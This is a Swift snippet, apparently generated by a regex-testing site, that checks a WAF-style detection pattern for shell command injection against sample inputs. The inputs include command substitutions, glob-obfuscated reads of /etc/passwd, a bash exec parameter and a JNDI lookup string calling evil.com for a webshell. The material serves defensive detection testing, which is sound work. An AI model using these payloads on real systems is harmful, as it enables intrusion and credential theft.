import Foundation
let pattern = #"\$(?:\((?:[^\(\)]*|\([^\(\)]*\))\)|\{[^\{\}]*\}|\[[^\[\]]*\])|[<>]\([^\(\)]*\)|(?:/[0-9A-Z_a-z]*\[!?[^/\]]+|\[[0-9A-Z_a-z]/+)\]"#
let regex = try! NSRegularExpression(pattern: pattern, options: .anchorsMatchLines)
let testString = ##"""
/get?932130-1=$(cmd)
932130-2=${cmd}
931120-3=<(cmd)
>(cmd)=931120-4
{"foo": "${:1337:-x$}{jndi:ldap://evil.com/webshell}"}
var=0.84622338492032948`echo${IFS}crs312``echo${IFS}34test`
cat /etc/pa[s]swd
cat /[?]tc/pa[?]swd
/get?s=/etc/pas[s]wd"
/get?s=/etc/[!q]asswd
/get?s=/etc/[m-z]asswd
/get?s=/usr/bin/[u]name+-a
/get?exec=/bi[n]/bash
/get?932130-17=$([])
echo $(echo $(cat /etc/passwd))
echo ${asd}
cat /etc/[p//]asswd
cat /[e//]tc/[p//]asswd
cat /[e/////////]tc/[p//]asswd
ls a[b///]c
ls *[a//]c
# should not match
932130-5=Some text (in brackets).
hello [text in brackets]
take this math expression: 1/[a/-1]
plase calculate the following a/[b/1234*c]
"""##
let stringRange = NSRange(location: 0, length: testString.utf16.count)
let matches = regex.matches(in: testString, range: stringRange)
var result: [[String]] = []
for match in matches {
var groups: [String] = []
for rangeIndex in 1 ..< match.numberOfRanges {
let nsRange = match.range(at: rangeIndex)
guard !NSEqualRanges(nsRange, NSMakeRange(NSNotFound, 0)) else { continue }
let string = (testString as NSString).substring(with: nsRange)
groups.append(string)
}
if !groups.isEmpty {
result.append(groups)
}
}
print(result)
Please keep in mind that these code samples are automatically generated and are not guaranteed to work. If you find any syntax errors, feel free to submit a bug report. For a full regex reference for Swift 5.2, please visit: https://developer.apple.com/documentation/foundation/nsregularexpression